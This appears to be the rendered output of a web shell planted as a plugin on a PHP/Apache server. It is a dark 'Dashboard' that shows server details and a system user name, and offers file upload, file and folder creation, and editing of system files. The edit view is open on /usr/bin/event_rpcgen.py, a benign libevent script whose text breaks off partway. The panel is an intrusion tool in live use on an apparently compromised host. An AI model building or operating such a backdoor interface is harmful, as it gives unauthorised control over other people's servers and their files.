{"ok":true,"status":"active","msg":"Plugin installed and working","php":"8.3.33","server":"Apache","time":"2026-08-21 23:48:48"}
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>Dashboard</title>
    <style>
        * { margin:0; padding:0; box-sizing:border-box; font-family:Arial,sans-serif; }
        body { background:#000; color:#ccc; padding:15px; min-height:100vh; }
        .container { background:#111; border:1px solid #ff0000; max-width:1400px; margin:0 auto; border-radius:5px; overflow:hidden; }
        .header { background:#222; padding:15px; border-bottom:2px solid #ff0000; color:#fff; }
        .header h1 { color:#ff0000; font-size:20px; margin-bottom:10px; }
        .system-info { display:flex; gap:15px; font-size:12px; color:#888; flex-wrap:wrap; }
        .path-navigation { background:#1a1a1a; padding:12px 15px; border-bottom:1px solid #333; display:flex; align-items:center; flex-wrap:wrap; gap:5px; }
        .path-navigation a { color:#00ff00; text-decoration:none; padding:5px 10px; background:#222; border-radius:3px; font-size:13px; }
        .path-navigation a:hover { background:#333; color:#fff; }
        .tools { padding:12px 15px; background:#1a1a1a; border-bottom:1px solid #333; display:flex; gap:8px; flex-wrap:wrap; }
        .button { background:#222; color:#ccc; border:1px solid #666; padding:8px 15px; cursor:pointer; border-radius:3px; font-size:13px; text-decoration:none; display:inline-flex; align-items:center; gap:5px; }
        .button:hover { background:#333; border-color:#00ff00; color:#fff; }
        .button-green { border-color:#00ff00; color:#00ff00; }
        .button-red { border-color:#ff0000; color:#ff0000; }
        .message { padding:12px; background:#1a1a1a; border-bottom:1px solid #333; text-align:center; font-weight:bold; }
        .file-table { width:100%; color:#ccc; border-collapse:collapse; }
        .file-table th { background:#222; padding:12px 15px; text-align:left; border-bottom:2px solid #ff0000; color:#fff; font-size:13px; }
        .file-table td { padding:10px 15px; border-bottom:1px solid #333; font-size:14px; }
        .file-table tr:hover { background:#1a1a1a; }
        .folder-link { color:#00ff00; font-weight:bold; text-decoration:none; display:flex; align-items:center; gap:8px; }
        .file-link { color:#ccc; text-decoration:none; display:flex; align-items:center; gap:8px; }
        .folder-link:hover, .file-link:hover { color:#fff; }
        .size { color:#888; }
        .permissions { font-family:'Courier New',monospace; color:#ff9900; background:#222; padding:4px 8px; border-radius:3px; font-size:12px; }
        .actions { display:flex; gap:5px; flex-wrap:wrap; }
        .action-button { padding:5px 10px; background:#222; color:#ccc; border:1px solid #666; font-size:11px; cursor:pointer; text-decoration:none; border-radius:3px; }
        .action-button:hover { background:#333; border-color:#00ff00; }
        .action-button-red { border-color:#ff0000; color:#ff0000; }
        textarea { width:100%; height:400px; background:#000; color:#00ff00; border:1px solid #ff0000; padding:15px; font-family:'Courier New',monospace; font-size:14px; border-radius:3px; }
        .edit-container { padding:20px; background:#000; border-bottom:1px solid #333; }
        .edit-title { color:#00ff00; margin-bottom:15px; font-size:16px; }
        .toast-container { position:fixed; top:20px; right:20px; z-index:10000; display:flex; flex-direction:column; gap:10px; max-width:350px; }
        .toast { padding:12px 20px; border-radius:5px; color:#fff; font-size:14px; display:flex; align-items:center; justify-content:space-between; gap:10px; animation:toastIn 0.3s ease; cursor:pointer; }
        .toast-success { background:#1a472a; border-left:4px solid #00ff00; }
        .toast-error { background:#4a1a1a; border-left:4px solid #ff0000; }
        @keyframes toastIn { from { transform:translateX(100%); opacity:0; } to { transform:translateX(0); opacity:1; } }
        .search-input { background:#000; border:1px solid #444; color:#fff; padding:6px 12px; border-radius:3px; font-size:13px; width:200px; margin-left:auto; }
        .search-input:focus { outline:none; border-color:#00ff00; }
    </style>
</head>
<body>
    <div class="container">
        <div class="header">
            <div style="display:flex; justify-content:space-between; align-items:center;">
                <div>
                    <h1>Dashboard</h1>
                    <div class="system-info">
                        <span>PHP: <b style="color:#ff9900">8.3.33</b></span>
                        <span>OS: <b style="color:#ff9900">Linux</b></span>
                        <span>User: <b style="color:#ff9900">pablod78</b></span>
                    </div>
                </div>

            </div>
        </div>
        
                
        <div class="path-navigation">
                                            <a href="?p=%2F">/</a>
                            <span style="color:#666">/</span>                <a href="?p=%2Fusr">usr</a>
                            <span style="color:#666">/</span>                <a href="?p=%2Fusr%2Fbin">bin</a>
                    </div>
        
        <div class="tools">
            <button class="button button-green" onclick="document.getElementById('b64upload').click()">📤 Upload</button>
            <input type="file" id="b64upload" style="display:none" onchange="uploadFileB64(this)">
            <button class="button" onclick="showCreateFile()">📝 New File</button>
            <button class="button" onclick="showCreateFolder()">📁 New Folder</button>
            <a href="?p=%2Fusr%2Fbin" class="button button-red">Close</a>            <input type="text" id="search-input" class="search-input" placeholder="🔍 Search..." onkeyup="searchFiles(this.value)">
        </div>

        
                    <div class="edit-container">
                <div class="edit-title">Editing: event_rpcgen.py</div>
                <form method="post">
                    <input type="hidden" name="edit_path" value="/usr/bin/event_rpcgen.py">
                    <textarea name="edit_content">#! /usr/bin/python3
#
# Copyright (c) 2005-2007 Niels Provos &lt;provos@citi.umich.edu&gt;
# Copyright (c) 2007-2012 Niels Provos and Nick Mathewson
# All rights reserved.
#
# Generates marshaling code based on libevent.

# pylint: disable=too-many-lines
# pylint: disable=too-many-branches
# pylint: disable=too-many-public-methods
# pylint: disable=too-many-statements
# pylint: disable=global-statement

# TODO:
# 1) propagate the arguments/options parsed by argparse down to the
#    instantiated factory objects.
# 2) move the globals into a class that manages execution, including the
#    progress outputs that go to stderr at the moment.
# 3) emit other languages.

import argparse
import re
import sys

_NAME = &quot;event_rpcgen.py&quot;
_VERSION = &quot;0.1&quot;

# Globals
LINE_COUNT = 0

CPPCOMMENT_RE = re.compile(r&quot;\/\/.*$&quot;)
NONIDENT_RE = re.compile(r&quot;\W&quot;)
PREPROCESSOR_DEF_RE = re.compile(r&quot;^#define&quot;)
STRUCT_REF_RE = re.compile(r&quot;^struct\[(?P&lt;name&gt;[a-zA-Z_][a-zA-Z0-9_]*)\]$&quot;)
STRUCT_DEF_RE = re.compile(r&quot;^struct +[a-zA-Z_][a-zA-Z0-9_]* *{$&quot;)
WHITESPACE_RE = re.compile(r&quot;\s+&quot;)

HEADER_DIRECT = []
CPP_DIRECT = []

QUIETLY = False


def declare(s):
    if not QUIETLY:
        print(s)


def TranslateList(mylist, mydict):
    return [x % mydict for x in mylist]


class RpcGenError(Exception):
    &quot;&quot;&quot;An Exception class for parse errors.&quot;&quot;&quot;

    def __init__(self, why): # pylint: disable=super-init-not-called
        self.why = why

    def __str__(self):
        return str(self.why)


# Holds everything that makes a struct
class Struct(object):
    def __init__(self, name):
        self._name = name
        self._entries = []
        self._tags = {}
        declare(&quot;  Created struct: %s&quot; % name)

    def AddEntry(self, entry):
        if entry.Tag() in self._tags:
            raise RpcGenError(
                &#039;Entry &quot;%s&quot; duplicates tag number %d from &quot;%s&quot; &#039;
                &quot;around line %d&quot;
                % (entry.Name(), entry.Tag(), self._tags[entry.Tag()], LINE_COUNT)
            )
        self._entries.append(entry)
        self._tags[entry.Tag()] = entry.Name()
        declare(&quot;    Added entry: %s&quot; % entry.Name())

    def Name(self):
        return self._name

    def EntryTagName(self, entry):
        &quot;&quot;&quot;Creates the name inside an enumeration for distinguishing data
        types.&quot;&quot;&quot;
        name = &quot;%s_%s&quot; % (self._name, entry.Name())
        return name.upper()

    @staticmethod
    def PrintIndented(filep, ident, code):
        &quot;&quot;&quot;Takes an array, add indentation to each entry and prints it.&quot;&quot;&quot;
        for entry in code:
            filep.write(&quot;%s%s\n&quot; % (ident, entry))


class StructCCode(Struct):
    &quot;&quot;&quot; Knows how to generate C code for a struct &quot;&quot;&quot;

    def __init__(self, name):
        Struct.__init__(self, name)

    def PrintTags(self, filep):
        &quot;&quot;&quot;Prints the tag definitions for a structure.&quot;&quot;&quot;
        filep.write(&quot;/* Tag definition for %s */\n&quot; % self._name)
        filep.write(&quot;enum %s_ {\n&quot; % self._name.lower())
        for entry in self._entries:
            filep.write(&quot;  %s=%d,\n&quot; % (self.EntryTagName(entry), entry.Tag()))
        filep.write(&quot;  %s_MAX_TAGS\n&quot; % (self._name.upper()))
        filep.write(&quot;};\n\n&quot;)

    def PrintForwardDeclaration(self, filep):
        filep.write(&quot;struct %s;\n&quot; % self._name)

    def PrintDeclaration(self, filep):
        filep.write(&quot;/* Structure declaration for %s */\n&quot; % self._name)
        filep.write(&quot;struct %s_access_ {\n&quot; % self._name)
        for entry in self._entries:
            dcl = entry.AssignDeclaration(&quot;(*%s_assign)&quot; % entry.Name())
            dcl.extend(entry.GetDeclaration(&quot;(*%s_get)&quot; % entry.Name()))
            if entry.Array():
                dcl.extend(entry.AddDeclaration(&quot;(*%s_add)&quot; % entry.Name()))
            self.PrintIndented(filep, &quot;  &quot;, dcl)
        filep.write(&quot;};\n\n&quot;)

        filep.write(&quot;struct %s {\n&quot; % self._name)
        filep.write(&quot;  struct %s_access_ *base;\n\n&quot; % self._name)
        for entry in self._entries:
            dcl = entry.Declaration()
            self.PrintIndented(filep, &quot;  &quot;, dcl)
        filep.write(&quot;\n&quot;)
        for entry in self._entries:
            filep.write(&quot;  ev_uint8_t %s_set;\n&quot; % entry.Name())
        filep.write(&quot;};\n\n&quot;)

        filep.write(
            &quot;&quot;&quot;struct %(name)s *%(name)s_new(void);
struct %(name)s *%(name)s_new_with_arg(void *);
void %(name)s_free(struct %(name)s *);
void %(name)s_clear(struct %(name)s *);
void %(name)s_marshal(struct evbuffer *, const struct %(name)s *);
int %(name)s_unmarshal(struct %(name)s *, struct evbuffer *);
int %(name)s_complete(struct %(name)s *);
void evtag_marshal_%(name)s(struct evbuffer *, ev_uint32_t,
    const struct %(name)s *);
int evtag_unmarshal_%(name)s(struct evbuffer *, ev_uint32_t,
    struct %(name)s *);\n&quot;&quot;&quot;
            % {&quot;name&quot;: self._name}
        )

        # Write a setting function of every variable
        for entry in self._entries:
            self.PrintIndented(
                filep, &quot;&quot;, entry.AssignDeclaration(entry.AssignFuncName())
            )
            self.PrintIndented(filep, &quot;&quot;, entry.GetDeclaration(entry.GetFuncName()))
            if entry.Array():
                self.PrintIndented(filep, &quot;&quot;, entry.AddDeclaration(entry.AddFuncName()))

        filep.write(&quot;/* --- %s done --- */\n\n&quot; % self._name)

    def PrintCode(self, filep):
        filep.write(
            &quot;&quot;&quot;/*
 * Implementation of %s
 */
&quot;&quot;&quot;
            % (self._name)
        )

        filep.write(
            &quot;&quot;&quot;
static struct %(name)s_access_ %(name)s_base__ = {
&quot;&quot;&quot;
            % {&quot;name&quot;: self._name}
        )
        for entry in self._entries:
            self.PrintIndented(filep, &quot;  &quot;, entry.CodeBase())
        filep.write(&quot;};\n\n&quot;)

        # Creation
        filep.write(
            &quot;&quot;&quot;struct %(name)s *
%(name)s_new(void)
{
  return %(name)s_new_with_arg(NULL);
}

struct %(name)s *
%(name)s_new_with_arg(void *unused)
{
  struct %(name)s *tmp;
  if ((tmp = malloc(sizeof(struct %(name)s))) == NULL) {
    event_warn(&quot;%%s: malloc&quot;, __func__);
    return (NULL);
  }
  tmp-&gt;base = &amp;%(name)s_base__;

&quot;&quot;&quot;
            % {&quot;name&quot;: self._name}
        )

        for entry in self._entries:
            self.PrintIndented(filep, &quot;  &quot;, entry.CodeInitialize(&quot;tmp&quot;))
            filep.write(&quot;  tmp-&gt;%s_set = 0;\n\n&quot; % entry.Name())

        filep.write(
            &quot;&quot;&quot;  return (tmp);
}

&quot;&quot;&quot;
        )

        # Adding
        for entry in self._entries:
            if entry.Array():
                self.PrintIndented(filep, &quot;&quot;, entry.CodeAdd())
            filep.write(&quot;\n&quot;)

        # Assigning
        for entry in self._entries:
            self.PrintIndented(filep, &quot;&quot;, entry.CodeAssign())
            filep.write(&quot;\n&quot;)

        # Getting
        for entry in self._entries:
            self.PrintIndented(filep, &quot;&quot;, entry.CodeGet())
            filep.write(&quot;\n&quot;)

        # Clearing
        filep.write(
            &quot;&quot;&quot;void
%(name)s_clear(struct %(name)s *tmp)
{
&quot;&quot;&quot;
            % {&quot;name&quot;: self._name}
        )
        for entry in self._entries:
            self.PrintIndented(filep, &quot;  &quot;, entry.CodeClear(&quot;tmp&quot;))

        filep.write(&quot;}\n\n&quot;)

        # Freeing
        filep.write(
            &quot;&quot;&quot;void
%(name)s_free(struct %(name)s *tmp)
{
&quot;&quot;&quot;
            % {&quot;name&quot;: self._name}
        )

        for entry in self._entries:
            self.PrintIndented(filep, &quot;  &quot;, entry.CodeFree(&quot;tmp&quot;))

        filep.write(
            &quot;&quot;&quot;  free(tmp);
}

&quot;&quot;&quot;
        )

        # Marshaling
        filep.write(
            &quot;&quot;&quot;void
%(name)s_marshal(struct evbuffer *evbuf, const struct %(name)s *tmp) {
&quot;&quot;&quot;
            % {&quot;name&quot;: self._name}
        )
        for entry in self._entries:
            indent = &quot;  &quot;
            # Optional entries do not have to be set
            if entry.Optional():
                indent += &quot;  &quot;
                filep.write(&quot;  if (tmp-&gt;%s_set) {\n&quot; % entry.Name())
            self.PrintIndented(
                filep,
                indent,
                entry.CodeMarshal(
                    &quot;evbuf&quot;,
                    self.EntryTagName(entry),
                    entry.GetVarName(&quot;tmp&quot;),
                    entry.GetVarLen(&quot;tmp&quot;),
                ),
            )
            if entry.Optional():
                filep.write(&quot;  }\n&quot;)

        filep.write(&quot;}\n\n&quot;)

        # Unmarshaling
        filep.write(
            &quot;&quot;&quot;int
%(name)s_unmarshal(struct %(name)s *tmp, struct evbuffer *evbuf)
{
  ev_uint32_t tag;
  while (evbuffer_get_length(evbuf) &gt; 0) {
    if (evtag_peek(evbuf, &amp;tag) == -1)
      return (-1);
    switch (tag) {

&quot;&quot;&quot;
            % {&quot;name&quot;: self._name}
        )
        for entry in self._entries:
            filep.write(&quot;      case %s:\n&quot; % (self.EntryTagName(entry)))
            if not entry.Array():
                filep.write(
                    &quot;&quot;&quot;        if (tmp-&gt;%s_set)
          return (-1);
&quot;&quot;&quot;
                    % (entry.Name())
                )

            self.PrintIndented(
                filep,
                &quot;        &quot;,
                entry.CodeUnmarshal(
                    &quot;evbuf&quot;,
                    self.EntryTagName(entry),
                    entry.GetVarName(&quot;tmp&quot;),
                    entry.GetVarLen(&quot;tmp&quot;),
                ),
            )

            filep.write(
                &quot;&quot;&quot;        tmp-&gt;%s_set = 1;
        break;
&quot;&quot;&quot;
                % (entry.Name())
            )
        filep.write(
            &quot;&quot;&quot;      default:
        return -1;
    }
  }

&quot;&quot;&quot;
        )
        # Check if it was decoded completely
        filep.write(
            &quot;&quot;&quot;  if (%(name)s_complete(tmp) == -1)
    return (-1);
  return (0);
}
&quot;&quot;&quot;
            % {&quot;name&quot;: self._name}
        )

        # Checking if a structure has all the required data
        filep.write(
            &quot;&quot;&quot;
int
%(name)s_complete(struct %(name)s *msg)
{
&quot;&quot;&quot;
            % {&quot;name&quot;: self._name}
        )
        for entry in self._entries:
            if not entry.Optional():
                code = [
                    &quot;&quot;&quot;if (!msg-&gt;%(name)s_set)
    return (-1);&quot;&quot;&quot;
                ]
                code = TranslateList(code, entry.GetTranslation())
                self.PrintIndented(filep, &quot;  &quot;, code)

            self.PrintIndented(
                filep, &quot;  &quot;, entry.CodeComplete(&quot;msg&quot;, entry.GetVarName(&quot;msg&quot;))
            )
        filep.write(
            &quot;&quot;&quot;  return (0);
}
&quot;&quot;&quot;
        )

        # Complete message unmarshaling
        filep.write(
            &quot;&quot;&quot;
int
evtag_unmarshal_%(name)s(struct evbuffer *evbuf, ev_uint32_t need_tag,
  struct %(name)s *msg)
{
  ev_uint32_t tag;
  int res = -1;

  struct evbuffer *tmp = evbuffer_new();

  if (evtag_unmarshal(evbuf, &amp;tag, tmp) == -1 || tag != need_tag)
    goto error;

  if (%(name)s_unmarshal(msg, tmp) == -1)
    goto error;

  res = 0;

 error:
  evbuffer_free(tmp);
  return (res);
}
&quot;&quot;&quot;
            % {&quot;name&quot;: self._name}
        )

        # Complete message marshaling
        filep.write(
            &quot;&quot;&quot;
void
evtag_marshal_%(name)s(struct evbuffer *evbuf, ev_uint32_t tag,
    const struct %(name)s *msg)
{
  struct evbuffer *buf_ = evbuffer_new();
  assert(buf_ != NULL);
  %(name)s_marshal(buf_, msg);
  evtag_marshal_buffer(evbuf, tag, buf_);
  evbuffer_free(buf_);
}

&quot;&quot;&quot;
            % {&quot;name&quot;: self._name}
        )


class Entry(object):
    def __init__(self, ent_type, name, tag):
        self._type = ent_type
        self._name = name
        self._tag = int(tag)
        self._ctype = ent_type
        self._optional = False
        self._can_be_array = False
        self._array = False
        self._line_count = -1
        self._struct = None
        self._refname = None

        self._optpointer = True
        self._optaddarg = True

    @staticmethod
    def GetInitializer():
        raise NotImplementedError(&quot;Entry does not provide an initializer&quot;)

    def SetStruct(self, struct):
        self._struct = struct

    def LineCount(self):
        assert self._line_count != -1
        return self._line_count

    def SetLineCount(self, number):
        self._line_count = number

    def Array(self):
        return self._array

    def Optional(self):
        return self._optional

    def Tag(self):
        return self._tag

    def Name(self):
        return self._name

    def Type(self):
        return self._type

    def MakeArray(self):
        self._array = True

    def MakeOptional(self):
        self._optional = True

    def Verify(self):
        if self.Array() and not self._can_be_array:
            raise RpcGenError(
                &#039;Entry &quot;%s&quot; cannot be created as an array &#039;
                &quot;around line %d&quot; % (self._name, self.LineCount())
            )
        if not self._struct:
            raise RpcGenError(
                &#039;Entry &quot;%s&quot; does not know which struct it belongs to &#039;
                &quot;around line %d&quot; % (self._name, self.LineCount())
            )
        if self._optional and self._array:
            raise RpcGenError(
                &#039;Entry &quot;%s&quot; has illegal combination of optional and array &#039;
                &quot;around line %d&quot; % (self._name, self.LineCount())
            )

    def GetTranslation(self, extradict=None):
        if extradict is None:
            extradict = {}
        mapping = {
            &quot;parent_name&quot;: self._struct.Name(),
            &quot;name&quot;: self._name,
            &quot;ctype&quot;: self._ctype,
            &quot;refname&quot;: self._refname,
            &quot;optpointer&quot;: self._optpointer and &quot;*&quot; or &quot;&quot;,
            &quot;optreference&quot;: self._optpointer and &quot;&amp;&quot; or &quot;&quot;,
            &quot;optaddarg&quot;: self._optaddarg and &quot;, const %s value&quot; % self._ctype or &quot;&quot;,
        }
        for (k, v) in list(extradict.items()):
            mapping[k] = v

        return mapping

    def GetVarName(self, var):
        return &quot;%(var)s-&gt;%(name)s_data&quot; % self.GetTranslation({&quot;var&quot;: var})

    def GetVarLen(self, _var):
        return &quot;sizeof(%s)&quot; % self._ctype

    def GetFuncName(self):
        return &quot;%s_%s_get&quot; % (self._struct.Name(), self._name)

    def GetDeclaration(self, funcname):
        code = [
            &quot;int %s(struct %s *, %s *);&quot; % (funcname, self._struct.Name(), self._ctype)
        ]
        return code

    def CodeGet(self):
        code = &quot;&quot;&quot;int
%(parent_name)s_%(name)s_get(struct %(parent_name)s *msg, %(ctype)s *value)
{
  if (msg-&gt;%(name)s_set != 1)
    return (-1);
  *value = msg-&gt;%(name)s_data;
  return (0);
}&quot;&quot;&quot;
        code = code % self.GetTranslation()
        return code.split(&quot;\n&quot;)

    def AssignFuncName(self):
        return &quot;%s_%s_assign&quot; % (self._struct.Name(), self._name)

    def AddFuncName(self):
        return &quot;%s_%s_add&quot; % (self._struct.Name(), self._name)

    def AssignDeclaration(self, funcname):
        code = [
            &quot;int %s(struct %s *, const %s);&quot;
            % (funcname, self._struct.Name(), self._ctype)
        ]
        return code

    def CodeAssign(self):
        code = [
            &quot;int&quot;,
            &quot;%(parent_name)s_%(name)s_assign(struct %(parent_name)s *msg,&quot;
            &quot; const %(ctype)s value)&quot;,
            &quot;{&quot;,
            &quot;  msg-&gt;%(name)s_set = 1;&quot;,
            &quot;  msg-&gt;%(name)s_data = value;&quot;,
            &quot;  return (0);&quot;,
            &quot;}&quot;,
        ]
        code = &quot;\n&quot;.join(code)
        code = code % self.GetTranslation()
        return code.split(&quot;\n&quot;)

    def CodeClear(self, structname):
        code = [&quot;%s-&gt;%s_set = 0;&quot; % (structname, self.Name())]

        return code

    @staticmethod
    def CodeComplete(_structname, _var_name):
        return []

    @staticmethod
    def CodeFree(_name):
        return []

    def CodeBase(self):
        code = [&quot;%(parent_name)s_%(name)s_assign,&quot;, &quot;%(parent_name)s_%(name)s_get,&quot;]
        if self.Array():
            code.append(&quot;%(parent_name)s_%(name)s_add,&quot;)

        code = &quot;\n&quot;.join(code)
        code = code % self.GetTranslation()
        return code.split(&quot;\n&quot;)


class EntryBytes(Entry):
    def __init__(self, ent_type, name, tag, length):
        # Init base class
        super(EntryBytes, self).__init__(ent_type, name, tag)

        self._length = length
        self._ctype = &quot;ev_uint8_t&quot;

    @staticmethod
    def GetInitializer():
        return &quot;NULL&quot;

    def GetVarLen(self, _var):
        return &quot;(%s)&quot; % self._length

    @staticmethod
    def CodeArrayAdd(varname, _value):
        # XXX: copy here
        return [&quot;%(varname)s = NULL;&quot; % {&quot;varname&quot;: varname}]

    def GetDeclaration(self, funcname):
        code = [
            &quot;int %s(struct %s *, %s **);&quot; % (funcname, self._struct.Name(), self._ctype)
        ]
        return code

    def AssignDeclaration(self, funcname):
        code = [
            &quot;int %s(struct %s *, const %s *);&quot;
            % (funcname, self._struct.Name(), self._ctype)
        ]
        return code

    def Declaration(self):
        dcl = [&quot;ev_uint8_t %s_data[%s];&quot; % (self._name, self._length)]

        return dcl

    def CodeGet(self):
        name = self._name
        code = [
            &quot;int&quot;,
            &quot;%s_%s_get(struct %s *msg, %s **value)&quot;
            % (self._struct.Name(), name, self._struct.Name(), self._ctype),
            &quot;{&quot;,
            &quot;  if (msg-&gt;%s_set != 1)&quot; % name,
            &quot;    return (-1);&quot;,
            &quot;  *value = msg-&gt;%s_data;&quot; % name,
            &quot;  return (0);&quot;,
            &quot;}&quot;,
        ]
        return code

    def CodeAssign(self):
        name = self._name
        code = [
            &quot;int&quot;,
            &quot;%s_%s_assign(struct %s *msg, const %s *value)&quot;
            % (self._struct.Name(), name, self._struct.Name(), self._ctype),
            &quot;{&quot;,
            &quot;  msg-&gt;%s_set = 1;&quot; % name,
            &quot;  memcpy(msg-&gt;%s_data, value, %s);&quot; % (name, self._length),
            &quot;  return (0);&quot;,
            &quot;}&quot;,
        ]
        return code

    def CodeUnmarshal(self, buf, tag_name, var_name, var_len):
        code = [
            &quot;if (evtag_unmarshal_fixed(%(buf)s, %(tag)s, &quot;
            &quot;%(var)s, %(varlen)s) == -1) {&quot;,
            &#039;  event_warnx(&quot;%%s: failed to unmarshal %(name)s&quot;, __func__);&#039;,
            &quot;  return (-1);&quot;,
            &quot;}&quot;,
        ]
        return TranslateList(
            code,
            self.GetTranslation(
                {&quot;var&quot;: var_name, &quot;varlen&quot;: var_len, &quot;buf&quot;: buf, &quot;tag&quot;: tag_name}
            ),
        )

    @staticmethod
    def CodeMarshal(buf, tag_name, var_name, var_len):
        code = [&quot;evtag_marshal(%s, %s, %s, %s);&quot; % (buf, tag_name, var_name, var_len)]
        return code

    def CodeClear(self, structname):
        code = [
            &quot;%s-&gt;%s_set = 0;&quot; % (structname, self.Name()),
            &quot;memset(%s-&gt;%s_data, 0, sizeof(%s-&gt;%s_data));&quot;
            % (structname, self._name, structname, self._name),
        ]

        return code

    def CodeInitialize(self, name):
        code = [
            &quot;memset(%s-&gt;%s_data, 0, sizeof(%s-&gt;%s_data));&quot;
            % (name, self._name, name, self._name)
        ]
        return code

    def Verify(self):
        if not self._length:
            raise RpcGenError(
                &#039;Entry &quot;%s&quot; needs a length &#039;
                &quot;around line %d&quot; % (self._name, self.LineCount())
            )

        super(EntryBytes, self).Verify()


class EntryInt(Entry):
    def __init__(self, ent_type, name, tag, bits=32):
        # Init base class
        super(EntryInt, self).__init__(ent_type, name, tag)

        self._can_be_array = True
        if bits == 32:
            self._ctype = &quot;ev_uint32_t&quot;
            self._marshal_type = &quot;int&quot;
        if bits == 64:
            self._ctype = &quot;ev_uint64_t&quot;
            self._marshal_type = &quot;int64&quot;

    @staticmethod
    def GetInitializer():
        return &quot;0&quot;

    @staticmethod
    def CodeArrayFree(_var):
        return []

    @staticmethod
    def CodeArrayAssign(varname, srcvar):
        return [&quot;%(varname)s = %(srcvar)s;&quot; % {&quot;varname&quot;: varname, &quot;srcvar&quot;: srcvar}]

    @staticmethod
    def CodeArrayAdd(varname, value):
        &quot;&quot;&quot;Returns a new entry of this type.&quot;&quot;&quot;
        return [&quot;%(varname)s = %(value)s;&quot; % {&quot;varname&quot;: varname, &quot;value&quot;: value}]

    def CodeUnmarshal(self, buf, tag_name, var_name, _var_len):
        code = [
            &quot;if (evtag_unmarshal_%(ma)s(%(buf)s, %(tag)s, &amp;%(var)s) == -1) {&quot;,
            &#039;  event_warnx(&quot;%%s: failed to unmarshal %(name)s&quot;, __func__);&#039;,
            &quot;  return (-1);&quot;,
            &quot;}&quot;,
        ]
        code = &quot;\n&quot;.join(code) % self.GetTranslation(
            {&quot;ma&quot;: self._marshal_type, &quot;buf&quot;: buf, &quot;tag&quot;: tag_name, &quot;var&quot;: var_name}
        )
        return code.split(&quot;\n&quot;)

    def CodeMarshal(self, buf, tag_name, var_name, _var_len):
        code = [
            &quot;evtag_marshal_%s(%s, %s, %s);&quot;
            % (self._marshal_type, buf, tag_name, var_name)
        ]
        return code

    def Declaration(self):
        dcl = [&quot;%s %s_data;&quot; % (self._ctype, self._name)]

        return dcl

    def CodeInitialize(self, name):
        code = [&quot;%s-&gt;%s_data = 0;&quot; % (name, self._name)]
        return code


class EntryString(Entry):
    def __init__(self, ent_type, name, tag):
        # Init base class
        super(EntryString, self).__init__(ent_type, name, tag)

        self._can_be_array = True
        self._ctype = &quot;char *&quot;

    @staticmethod
    def GetInitializer():
        return &quot;NULL&quot;

    @staticmethod
    def CodeArrayFree(varname):
        code = [&quot;if (%(var)s != NULL) free(%(var)s);&quot;]

        return TranslateList(code, {&quot;var&quot;: varname})

    @staticmethod
    def CodeArrayAssign(varname, srcvar):
        code = [
            &quot;if (%(var)s != NULL)&quot;,
            &quot;  free(%(var)s);&quot;,
            &quot;%(var)s = strdup(%(srcvar)s);&quot;,
            &quot;if (%(var)s == NULL) {&quot;,
            &#039;  event_warnx(&quot;%%s: strdup&quot;, __func__);&#039;,
            &quot;  return (-1);&quot;,
            &quot;}&quot;,
        ]

        return TranslateList(code, {&quot;var&quot;: varname, &quot;srcvar&quot;: srcvar})

    @staticmethod
    def CodeArrayAdd(varname, value):
        code = [
            &quot;if (%(value)s != NULL) {&quot;,
            &quot;  %(var)s = strdup(%(value)s);&quot;,
            &quot;  if (%(var)s == NULL) {&quot;,
            &quot;    goto error;&quot;,
            &quot;  }&quot;,
            &quot;} else {&quot;,
            &quot;  %(var)s = NULL;&quot;,
            &quot;}&quot;,
        ]

        return TranslateList(code, {&quot;var&quot;: varname, &quot;value&quot;: value})

    def GetVarLen(self, var):
        return &quot;strlen(%s)&quot; % self.GetVarName(var)

    @staticmethod
    def CodeMakeInitalize(varname):
        return &quot;%(varname)s = NULL;&quot; % {&quot;varname&quot;: varname}

    def CodeAssign(self):
        code = &quot;&quot;&quot;int
%(parent_name)s_%(name)s_assign(struct %(parent_name)s *msg,
    const %(ctype)s value)
{
  if (msg-&gt;%(name)s_data != NULL)
    free(msg-&gt;%(name)s_data);
  if ((msg-&gt;%(name)s_data = strdup(value)) == NULL)
    return (-1);
  msg-&gt;%(name)s_set = 1;
  return (0);
}&quot;&quot;&quot; % (
            self.GetTranslation()
        )

        return code.split(&quot;\n&quot;)

    def CodeUnmarshal(self, buf, tag_name, var_name, _var_len):
        code = [
            &quot;if (evtag_unmarshal_string(%(buf)s, %(tag)s, &amp;%(var)s) == -1) {&quot;,
            &#039;  event_warnx(&quot;%%s: failed to unmarshal %(name)s&quot;, __func__);&#039;,
            &quot;  return (-1);&quot;,
            &quot;}&quot;,
        ]
        code = &quot;\n&quot;.join(code) % self.GetTranslation(
            {&quot;buf&quot;: buf, &quot;tag&quot;: tag_name, &quot;var&quot;: var_name}
        )
        return code.split(&quot;\n&quot;)

    @staticmethod
    def CodeMarshal(buf, tag_name, var_name, _var_len):
        code = [&quot;evtag_marshal_string(%s, %s, %s);&quot; % (buf, tag_name, var_name)]
        return code

    def CodeClear(self, structname):
        code = [
            &quot;if (%s-&gt;%s_set == 1) {&quot; % (structname, self.Name()),
            &quot;  free(%s-&gt;%s_data);&quot; % (structname, self.Name()),
            &quot;  %s-&gt;%s_data = NULL;&quot; % (structname, self.Name()),
            &quot;  %s-&gt;%s_set = 0;&quot; % (structname, self.Name()),
            &quot;}&quot;,
        ]

        return code

    def CodeInitialize(self, name):
        code = [&quot;%s-&gt;%s_data = NULL;&quot; % (name, self._name)]
        return code

    def CodeFree(self, name):
        code = [
            &quot;if (%s-&gt;%s_data != NULL)&quot; % (name, self._name),
            &quot;    free (%s-&gt;%s_data);&quot; % (name, self._name),
        ]

        return code

    def Declaration(self):
        dcl = [&quot;char *%s_data;&quot; % self._name]

        return dcl


class EntryStruct(Entry):
    def __init__(self, ent_type, name, tag, refname):
        # Init base class
        super(EntryStruct, self).__init__(ent_type, name, tag)

        self._optpointer = False
        self._can_be_array = True
        self._refname = refname
        self._ctype = &quot;struct %s*&quot; % refname
        self._optaddarg = False

    def GetInitializer(self):
        return &quot;NULL&quot;

    def GetVarLen(self, _var):
        return &quot;-1&quot;

    def CodeArrayAdd(self, varname, _value):
        code = [
            &quot;%(varname)s = %(refname)s_new();&quot;,
            &quot;if (%(varname)s == NULL)&quot;,
            &quot;  goto error;&quot;,
        ]

        return TranslateList(code, self.GetTranslation({&quot;varname&quot;: varname}))

    def CodeArrayFree(self, var):
        code = [&quot;%(refname)s_free(%(var)s);&quot; % self.GetTranslation({&quot;var&quot;: var})]
        return code

    def CodeArrayAssign(self, var, srcvar):
        code = [
            &quot;int had_error = 0;&quot;,
            &quot;struct evbuffer *tmp = NULL;&quot;,
            &quot;%(refname)s_clear(%(var)s);&quot;,
            &quot;if ((tmp = evbuffer_new()) == NULL) {&quot;,
